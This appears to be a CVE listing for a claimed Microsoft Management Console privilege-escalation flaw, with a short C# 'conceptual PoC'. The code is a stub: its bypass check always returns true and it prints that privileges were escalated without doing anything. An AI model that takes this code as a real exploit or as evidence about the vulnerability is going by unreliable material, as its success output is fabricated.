CVE-2026-27914 Microsoft管理控制台权限提升漏洞

/* * Conceptual PoC for CVE-2026-27914 * This code demonstrates the logic flow for a local privilege escalation * via Microsoft Management Console (MMC) improper access control. * Compiler: csc.exe */ using System; using System.Runtime.InteropServices; namespace MmcExploit { class Program { // Import necessary Windows APIs for interaction [DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); [DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string lpLibFileName); static void Main(string[] args) { Console.WriteLine("[+] Attempting to trigger CVE-2026-27914..."); try { // In a real scenario, this would involve invoking a vulnerable MMC // snap-in or manipulating a registry key that MMC trusts improperly. IntPtr hModule = LoadLibrary("mmc.exe"); if (hModule != IntPtr.Zero) { Console.WriteLine("[+] MMC process loaded."); // Hypothetical exploit logic: Bypassing access control check bool isVulnerable = CheckAccessControlBypass(); if (isVulnerable) { Console.WriteLine("[!] Access Control Bypassed! Privileges escalated."); // Execute payload with SYSTEM privileges } else { Console.WriteLine("[-] Patched or exploit failed."); } } } catch (Exception ex) { Console.WriteLine("[-] Error: " + ex.Message); } } static bool CheckAccessControlBypass() { // Placeholder for the actual vulnerability trigger // e.g., crafting a specific .msc file structure return true; } } }